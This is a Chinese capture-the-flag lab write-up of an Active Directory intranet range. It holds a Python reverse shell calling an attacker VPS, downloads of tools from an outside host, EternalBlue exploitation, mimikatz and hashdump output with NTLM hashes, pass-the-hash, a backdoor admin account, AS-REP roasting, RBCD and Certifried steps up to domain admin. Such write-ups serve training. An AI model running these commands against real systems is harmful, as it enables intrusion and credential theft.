该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

外网打点

fscan扫描

E:\渗透工具\漏扫\fxray-main\fxray-main\fscan>fscan.exe -h 39.99.133.101

        ██╗  ██╗     ███████╗██╗  ██╗██████╗
        ╚██╗██╔╝     ██╔════╝╚██╗██╔╝██╔══██╗
         ╚███╔╝█████╗█████╗   ╚███╔╝ ██████╔╝
         ██╔██╗╚════╝██╔══╝   ██╔██╗ ██╔═══╝
        ██╔╝ ██╗     ███████╗██╔╝ ██╗██║
        ╚═╝  ╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝
                     xk version: 1.8.3
start infoscan
39.99.133.101:22 open
39.99.133.101:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.133.101      code:200 len:39988  title:XIAORANG.LAB
已完成 2/2
[*] 扫描结束,耗时: 45.877617s

wpscan扫描

└─# wpscan --url http://39.99.133.101/                                        
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://39.99.133.101/ [39.99.133.101]
[+] Started: Sun Aug 31 13:36:12 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://39.99.133.101/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://39.99.133.101/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://39.99.133.101/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://39.99.133.101/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:01 <==========================================================================> (702 / 702) 100.00% Time: 00:00:01
[+] WordPress version 6.2.6 identified (Outdated, released on 2024-06-24).
 | Found By: Unique Fingerprinting (Aggressive Detection)
 |  - http://39.99.133.101/wp-includes/js/dist/block-editor.js md5sum is 7ec2f368c58a01c64e23d20a9c5e8b4b

[+] WordPress theme in use: twentytwentyone
 | Location: http://39.99.133.101/wp-content/themes/twentytwentyone/
 | Last Updated: 2025-08-05T00:00:00.000Z
 | Readme: http://39.99.133.101/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 2.6
 | Style URL: http://39.99.133.101/wp-content/themes/twentytwentyone/style.css?ver=1.8
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://39.99.133.101/wp-content/themes/twentytwentyone/style.css?ver=1.8, Match: 'Version: 1.8'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <============================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Aug 31 13:36:21 2025
[+] Requests Done: 203
[+] Cached Requests: 7
[+] Data Sent: 50.997 KB
[+] Data Received: 20.307 MB
[+] Memory used: 285.887 MB
[+] Elapsed time: 00:00:08

可以看到有一个twentytwentyone主题,访问如下网址

http://39.99.133.101/wp-admin/

弱口令:

z

连接如下网址

http://39.99.133.101/wp-content/themes/twentytwentyone/404.php

根目录下拿下flag01

内网横向

我们先弹个shell到VPS上好操作一点

#!/usr/bin/env python3

import socket
import subprocess
import os
import pty

# 攻击者监听的 IP 和端口
LHOST = "VPSIP"
LPORT = 9999

# 创建 TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))

# 将 socket 的文件描述符重定向到标准输入、输出、错误
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr

# 启动交互式 shell
pty.spawn("/bin/sh")

# 关闭 socket(可选)
s.close()

然后我们用python3起一个bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

远程文件下载和fscan扫描

wget https://www.rainbow7.top/fscan
wget https://www.rainbow7.top/linux_x64_agent
## 拉取fscan和stowaway代理
chmod +x fscan
chmod +x linux_x64_agent

然后我们先进行读一下IP

ifconfig

# 进行fscan扫描
./fscan -h 172.22.15.26/24
www-data@ubuntu-web:/var/www/html/wp-content/themes/twentytwentyone$ ./fscan -h 172.22.15.26/24
</themes/twentytwentyone$ ./fscan -h 172.22.15.26/24                 

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.15.18    is alive
(icmp) Target 172.22.15.13    is alive
(icmp) Target 172.22.15.24    is alive
(icmp) Target 172.22.15.26    is alive
(icmp) Target 172.22.15.35    is alive
[*] Icmp alive hosts len is: 5
172.22.15.13:88 open
172.22.15.26:22 open
172.22.15.24:3306 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:445 open
172.22.15.18:445 open
172.22.15.24:139 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.13:139 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.24:80 open
172.22.15.18:80 open
172.22.15.26:80 open
[*] alive ports len is: 18
start vulscan
[*] NetBios 172.22.15.35    XIAORANG\XR-0687              
[*] NetInfo 
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetInfo 
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo 
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393
[+] MS17-010 172.22.15.24       (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393
[*] NetInfo 
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135    title:None
已完成 18/18
[*] 扫描结束,耗时: 13.774606297s

搭建Stowaway隧道

在自己的VPS上执行如下命令

./linuux_x64_admin -l 1234 -s 123

在靶机上执行如下命令

./linux_x64_agent -c VPSIP:1234 -s 123 --reconnect 8

然后再控制台执行

use 0
socks 5001

我们看回刚才的扫描结果发现有个永恒之蓝很明显是最好打的

永恒之蓝MS-010

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

然后成功拿下shell,我们知道这个是域用户然后我们先拿一下flag02先

cat C:\\Users\\Administrator\\flag\\flag02.txt

Kerberos AS-REP roasting 离线口令爆破攻击

load kiwi
creds_all
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > creds_all
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[+] Running as SYSTEM
[*] Retrieving all credentials
wdigest credentials
===================

Username   Domain     Password
--------   ------     --------
(null)     (null)     (null)
XR-WIN08$  WORKGROUP  (null)

kerberos credentials
====================

Username   Domain     Password
--------   ------     --------
(null)     (null)     (null)
xr-win08$  WORKGROUP  (null)

可以看啥也没给我们分析一下局势

172.22.15.26 已拿下通外网机器
172.22.15.35  NetBios:XIAORANG\XR-0687         NetInfo:XR-0687        
172.22.15.24  NetBios:WORKGROUP\XR-WIN08       NetInfo:XR-WIN08        MS17-010已拿下
172.22.15.18  NetBios :XR-CA.xiaorang.lab      NetInfo:XR-CA
172.22.15.13  NetBios:DC:XR-DC01.xiaorang.lab  NetInfo:XR-DC01

还是把hashdump下来这个好歹也是域成员

hashdump


meterpreter > hashdump
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
proxychains psexec.py administrator@172.22.15.24 -hashes aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc -codec gbk
# 都可以本质是一样的
proxychains psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

传递hash可以拿shell

添加用户

net user N1tols qwer1234! /add
net localgroup administrators N1tols /add

rdp上去卡的爆批,无语了,还是强烈建议大家用国内的服务器做代理

如果大家报错了参考:https://blog.csdn.net/juanjuan_01/article/details/127005255

我们自己创建的用户登录上去了,看一下能不能改administrator的密码呢

net user administrator N1tols!

然后用administrator用户连接上去

over很成功但是还是一样卡,但是没关系

可以看到172.22.15.24是由phpmyadmin的

用账号密码登陆一下

选择先把网站数据库导出

本地启一个数据库导入sql文件

再zdoosys表里面找到一堆域用户名称

lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

存储到user.txt里面

我们有这么多域用户当然要尝试离线口令爆破攻击

172.22.15.26 已拿下通外网机器
172.22.15.35  NetBios:XIAORANG\XR-0687         NetInfo:XR-0687        
172.22.15.24  NetBios:WORKGROUP\XR-WIN08       NetInfo:XR-WIN08        MS17-010已拿下
172.22.15.18  NetBios :XR-CA.xiaorang.lab      NetInfo:XR-CA
172.22.15.13  NetBios:DC:XR-DC01.xiaorang.lab  NetInfo:XR-DC01
proxychains impacket-GetNPUsers xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile user.txt

$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:a5f66a0e74826d838b89ab7639745654$4dcfd4f80c616e6928eda2b2ab4f85a18b9ed5d39276f0212c1796ea0e3b9f1646daaab6fed64ee31a5ff846574d0f2da0f8c850057b86e42da88d49a3e1b8ecdac6014831dff39c7713f1980e54dec613a41ff88855feef5a6a683c91b9e3cbe84919a730037e297c5efe63f34d35d17693a5e7f00f76f128d957935bb4bcee12fe21774e22956a44aaae1d77b4489b5e3d3173ba067d6b018abb3255e32bda14d663f7da3eb3d461724108d0b6fa856998d3b6632915981261c89a3b987247818d9563d22b4a3fb36e9ddb9353f6569146b3fb4d332aefa9c54f9cbdedd0a0fe809c8578e7ce83ae7eb2c4
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:e5d4ff5f61d30855b05aef0fcc706dcf$2ffd9fb93bd43c66dddca0903f60e5b37e5bfcf8d01aba6d7ad44d214de69e07db78944705c3e8f480b4141572eef06309bfac42b2fa9ad242b4a43f891db321b1966e2147c84934d5fc8b848a0614c3f4c11e00f10edb83c24393ab01a6d61d607017af4be2ffdc6326a24f9f157f3bd81eff8ef3d60dd17683c13f7d25381091cc052bc02b67d550e7df42a61dd1e1dc3e1b83d7a2b03fa8cb186b632ff00209db51d8307dba903a7e54a94eb06fb55ee9f1a1491c97730a30c2c75d7d1fe7083dae4b8cb116099bd4486404c7494dc308dc52b3a963cad0940f987d00add9ed9dfc364df0c015a20d1304

可以看到有两个用户是没有Kerberos预认证的

hashcat hash.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:a5f66a0e74826d838b89ab7639745654$4dcfd4f80c616e6928eda2b2ab4f85a18b9ed5d39276f0212c1796ea0e3b9f1646daaab6fed64ee31a5ff846574d0f2da0f8c850057b86e42da88d49a3e1b8ecdac6014831dff39c7713f1980e54dec613a41ff88855feef5a6a683c91b9e3cbe84919a730037e297c5efe63f34d35d17693a5e7f00f76f128d957935bb4bcee12fe21774e22956a44aaae1d77b4489b5e3d3173ba067d6b018abb3255e32bda14d663f7da3eb3d461724108d0b6fa856998d3b6632915981261c89a3b987247818d9563d22b4a3fb36e9ddb9353f6569146b3fb4d332aefa9c54f9cbdedd0a0fe809c8578e7ce83ae7eb2c4:winniethepooh
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:e5d4ff5f61d30855b05aef0fcc706dcf$2ffd9fb93bd43c66dddca0903f60e5b37e5bfcf8d01aba6d7ad44d214de69e07db78944705c3e8f480b4141572eef06309bfac42b2fa9ad242b4a43f891db321b1966e2147c84934d5fc8b848a0614c3f4c11e00f10edb83c24393ab01a6d61d607017af4be2ffdc6326a24f9f157f3bd81eff8ef3d60dd17683c13f7d25381091cc052bc02b67d550e7df42a61dd1e1dc3e1b83d7a2b03fa8cb186b632ff00209db51d8307dba903a7e54a94eb06fb55ee9f1a1491c97730a30c2c75d7d1fe7083dae4b8cb116099bd4486404c7494dc308dc52b3a963cad0940f987d00add9ed9dfc364df0c015a20d1304:1qaz2wsx

于是爆破出来两个用户分别如下

lixiuying@xiaorang.lab   winniethepooh
huachunmei@xiaorang.lab   1qaz2wsx

密码喷洒一下

proxychains4 crackmapexec rdp 172.22.15.18 172.22.15.13 172.22.15.35 -d xiaorang.lab -u huachunmei -p '1qaz2wsx'
proxychains4 crackmapexec rdp 172.22.15.18 172.22.15.13 172.22.15.35 -d xiaorang.lab -u lixiuying  -p 'winniethepooh'

proxychains4 rdesktop 172.22.15.18 -d xiaorang.lab -u huachunmei -p '1qaz2wsx' -r disk:share=/home/kali/Desktop/tmp


# huachunmei → 172.22.15.35
proxychains xfreerdp /v:172.22.15.35 /u:"xiaorang.lab\\huachunmei" /p:'1qaz2wsx' /drive:share,/home/kali/Desktop/tmp /cert-ignore /sec:nla
# lixiuying → 172.22.15.35
proxychains xfreerdp /v:172.22.15.35 /u:"xiaorang.lab\\lixiuying" /p:'winniethepooh' /drive:share,/home/kali/Desktop/tmp /cert-ignore /sec:nla

这俩用户都是可以的

连接上去之后我们打资源约束委派也就是RBDC

资源约束委派攻击+GenericWrite

首先添加一个机器账户

proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13

下载如下脚本获取当前用户的SID

https://github.com/shigophilo/tools/blob/master/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid

S-1-5-21-3745972894-1678056601-2622918667-1147
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

创建票据

proxychains4 impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 
┌──(root㉿kali-plus)-[~]
└─# proxychains4 impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[proxychains] Strict chain  ...  VPSIP:5001  ...  172.22.15.13:88  ...  OK
[proxychains] Strict chain  ...  VPSIP:5001  ...  172.22.15.13:88  ...  OK
[*] Impersonating administrator
[*] Requesting S4U2self
[proxychains] Strict chain  ...  VPSIP:5001  ...  172.22.15.13:88  ...  OK
[*] Requesting S4U2Proxy
[proxychains] Strict chain  ...  VPSIP:5001  ...  172.22.15.13:88  ...  OK
[*] Saving ticket in administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache
export KRB5CCNAME=administrator.ccache

然后我们需要改hosts

172.22.15.35 XR-0687.xiaorang.lab

然后即可无密码连接,需要注意我们出来的凭证名字为administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache,我们需要改个名字为administrator.ccache

proxychains psexec.py Administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13
type C:\Users\Administrator\flag\flag03.txt

172.22.15.26 已拿下通外网机器
172.22.15.35  NetBios:XIAORANG\XR-0687         NetInfo:XR-0687        已拿下
172.22.15.24  NetBios:WORKGROUP\XR-WIN08       NetInfo:XR-WIN08        MS17-010已拿下
172.22.15.18  NetBios :XR-CA.xiaorang.lab      NetInfo:XR-CA
172.22.15.13  NetBios:DC:XR-DC01.xiaorang.lab  NetInfo:XR-DC01

CVE-2022–26923 Certifried

首先添加用户(注意,这里的certipy不是出现命令不存在kali让你下载的那个,这个是个打CVE-2022–26923的工具:https://github.com/ly4k/Certipy/):

proxychains certipy account create -user 'TEST2$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'


漏洞存在,申请证书模板

proxychains certipy req -u 'TEST2$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'
# 这里要打两次

按照流程走下一步会报错

└─# proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

然后这里的报错是因为 域控制器没有安装用于智能卡身份验证的证书

打Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。

这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

下一步将证书配置到域控的 RBCD

proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

接下来和之前一样申请ST

proxychains getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

接下来导入申请的票据

export KRB5CCNAME=Administrator.ccache

最后连接即可,但是这里也要改host

172.22.15.13 XR-DC01.xiaorang.lab
proxychains psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

最后可以直接type一下flag04了

type C:\Users\Administrator\flag\flag04.txt

相关知识介绍

NetBIOSNetInfo是什么

针对你问的 NetBIOSNetInfo

1. NetBIOS

  • NetBIOS (Network Basic Input/Output System) 本质上是一个老的 API/协议,主要用于局域网中计算机之间的通信(最早在 Windows 的 SMB 协议里大量使用)。

  • 在网络里,Windows 机器会有一个 NetBIOS 名称(类似主机名,但受 15 个字符限制)。

  • 举例:

    • XIAORANG\XR-0687

      • XIAORANG:域/工作组

      • XR-0687:机器的 NetBIOS 主机名

所以 NetBIOS 信息通常指机器在局域网广播和 SMB/139/445 协议里暴露的“短名”


2. NetInfo

  • “NetInfo”不是 Windows 官方术语,更可能是你扫描工具或者脚本输出里的字段。

  • 从你贴的内容看,NetInfo 更接近于机器的主机名(Hostname)或者计算机描述信息

  • 举例:

    • NetInfo: XR-WIN08 就是机器的完整主机名。

    • NetBios: WORKGROUP\XR-WIN08 是 NetBIOS 格式。


总结:

  • NetBIOS → 广播/SMB协议里使用的名字(短主机名 + 域/工作组)。

  • NetInfo → 工具解析出来的计算机名/描述,基本等价于 hostname

🔹所以你看到的差别,本质是 同一台机器在不同上下文中的命名方式

简而言之,NetInfo是主机名,NetBios是加了个工作组的主机名

AD CS

推荐大家一个抓包代理,现在谷歌V3协议让之前的一些好用的代理失效了,我又找了一个感觉也很不错的

https://github.com/bytevet/proxyverse/releases/tag/v1.2.3

你提到的这个扫描结果:

[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect

对应的 poc-yaml-active-directory-certsrv-detect 其实是一个 检测 Active Directory 证书服务(AD CS,Certificate Services)是否开启的 PoC

背景知识

  • AD CS (Active Directory Certificate Services) 是微软域控里的一套 PKI(公钥基础设施)组件,用来签发和管理证书。

  • 当域内部署了 AD CS 并开启了 Web Enrollment(证书注册 Web 服务),一般会暴露一个接口路径:

    http://<server>/certsrv/
  • 这个接口如果没有加固,可能会带来一系列安全风险。

常见相关漏洞

  1. Certifried / PetitPotam + AD CS

    • 利用 AD CS 配合 NTLM 中继攻击,可以导致权限提升,甚至获取域管权限。

  2. ESC1–ESC8(AD CS 常见错误配置)

    • 包括“弱模板”“允许低权限用户注册证书并进行身份伪造”等。

    • 这些被称作 ESC (Enterprise Security Config) misconfigurations,很多红队攻击里经常用。

  3. 未授权访问或信息泄露

    • 如果没有限制访问,攻击者可以探测出内部的 PKI 架构,甚至申请伪造证书。

扫描结果说明

  • 目前这个 PoC 并不是直接漏洞利用,只是检测到目标服务器上存在 AD CS 证书服务 Web 注册接口(即 http://172.22.15.18/certsrv/)。

  • 一旦存在,就需要进一步判断:

    • 是否对匿名/普通域用户开放?

    • 是否存在弱模板配置(ESC1–ESC8)?

    • 是否能结合 NTLM relay 之类的攻击链?

👉 换句话说:
这是一个“中间环节”风险点,本身不是漏洞,但很可能是后续提权攻击链中的关键组件

impacket-GetNPUsers介绍

impacket-GetNPUsers.py 是 Impacket 工具集里的一款,用来针对 Active Directory 域用户账户进行 Kerberos AS-REP roasting(离线口令爆破) 的。


🎯 它的作用

  • 在 AD 里,如果某个用户账号的属性 Do not require Kerberos preauthentication(中文:不要求 Kerberos 预认证)被设置了 ✅,

  • 那么你就可以向 KDC(域控的 88 端口)请求该用户的 AS-REP 数据包,而不需要提供密码。

  • 这个返回的数据里包含一个用 用户密码哈希加密的部分,可以直接离线暴力破解出明文密码。


🔧 用法示例

impacket-GetNPUsers xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile users.txt
  • domain.local/ → 目标域

  • -dc-ip → 域控 IP

  • -usersfile → 你要测试的用户名列表

如果找到了配置了“允许不带预认证”的用户,就会得到形如 $krb5asrep$23$... 的哈希,可以丢到 hashcat/john 去爆破。


📌 总结

  • 用途:检测域用户里是否有人被错误配置为“不需要 Kerberos 预认证”,并导出 AS-REP 哈希。

  • 价值:即使没有有效密码,也能获取可爆破的哈希,从而得到用户明文密码,进而横向移动。

  • 攻击分类:Kerberos 攻击链的一部分 → AS-REP Roasting


简而言之,这个就是如果你有一个用户集,然后都是域用户类似于admin@xiaorang.lab,然后他的属性 Do not require Kerberos preauthentication(中文:不要求 Kerberos 预认证)被设置了 ✅ ,那么使用impacket-GetNPUsers工具可以导出不需要Kerberos 预认证的用户的hash,使用hashcat爆破可以获得用户的账号密码

impacket-addcomputer介绍

impacket-addcomputer.py 也是 Impacket 工具集里的一款,专门针对 Active Directory 加域过程的利用。


🎯 作用

  • 在正常的 AD 环境里,域用户(默认情况下)是有权利向域控 添加新的计算机对象 (Computer Object) 到域里的。

  • impacket-addcomputer.py 就是用来 滥用这个权限,自己“虚构”一台机器加进域,得到一个新的计算机账户(带有合法的域凭据)。


🔧 使用场景

  1. 低权限域用户 → 域内持久化

    • 普通域用户能调用 MS-RPC SAMR 接口,创建新的计算机对象。

    • 这会返回一个新账号,比如:

      fakehost$ : [随机生成的密码]
    • 拿到这个账号,你就有了一个新的 域身份,可以用它去做 Kerberos 请求。

  2. 配合 RBCD(资源约束的委派)攻击

    • 你创建的“新机器”账号,可以被配置 受约束委派 (Resource-Based Constrained Delegation)

    • 这样你能冒充域内更高权限的服务账户,最后走到域管。

  3. 隐蔽性

    • 相比直接 dump hash,这种方法很“正规”,在域日志里看起来就是正常的计算机入域。

    • 如果域策略没改,普通用户就能随便加最多 10 台机器(默认 AD 限制)。


📝 命令示例

impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -dc-ip 172.22.15.13 -computer-name 01\$ -computer-pass Passw0rd
# 如上命令的意思就是利用普通域用户 lixiuying 的默认权限,在 xiaorang.lab 域里新建了一台名为 01\$  的“假机器”,密码是 Passw0rd,后续可以用它作为跳板去做提权或横向。

🔹 1. SAMR 方式

  • SAMR = Security Account Manager Remote Protocol,微软的远程账户管理 RPC 接口(端口 445/139 上走 RPC)。

  • 当你指定 -method SAMR 时,工具会通过 RPC 调用 SAMR 服务 在域控上添加计算机对象。

  • 优点:老版本域控和大多数环境都会支持,利用率高。

  • 缺点:某些安全设备/EDR 更容易监控 RPC 操作。


🔹 2. LDAPS / LDAP 方式

  • LDAP = Lightweight Directory Access Protocol,AD 的目录服务查询/写入协议(389/636)。

  • 当你指定 -method LDAPS 时,工具会通过 LDAP 请求 向域控目录里写一个新的 Computer Object。

  • 优点:更“正统”,就是正常的域对象创建流程;走 636(LDAPS)还会加密,看起来像合法管理员操作。

  • 缺点:需要域控开启 LDAP/LDAPS 并允许相应操作。

执行后输出类似:

[*] Successfully added FAKE01$ with password Passw0rd! to domain

接下来你就能用 FAKE01$ 作为域账户去请求票据了。


📌 总结

  • 工具功能:向域里“加一台假机器”,生成新的计算机账户和密码。

  • 利用点:默认普通域用户有“加域”权限,可以被滥用。

  • 常见攻击链

    1. 低权限用户 → addcomputer → 得到 fakehost$

    2. fakehost$ 配置 RBCD → 获取高权限票据

    3. 横向 / 提权到域管


资源约束委派RBCD介绍

你这段 PowerShell 脚本,是典型的 资源约束委派 (Resource-Based Constrained Delegation, RBCD) 攻击步骤。


🔍 脚本解析

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes, 0);

Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

关键点:

  1. msDS-AllowedToActOnBehalfOfOtherIdentity 属性

    • 这是 Active Directory 里一个特殊属性。

    • 它定义了:哪些账户(通常是计算机账户)可以代替该对象来访问服务

    • 这是实现 RBCD 的核心配置。

  2. RawSecurityDescriptor

    • 脚本里新建了一个 安全描述符,里面加了一个 ACE (访问控制项)。

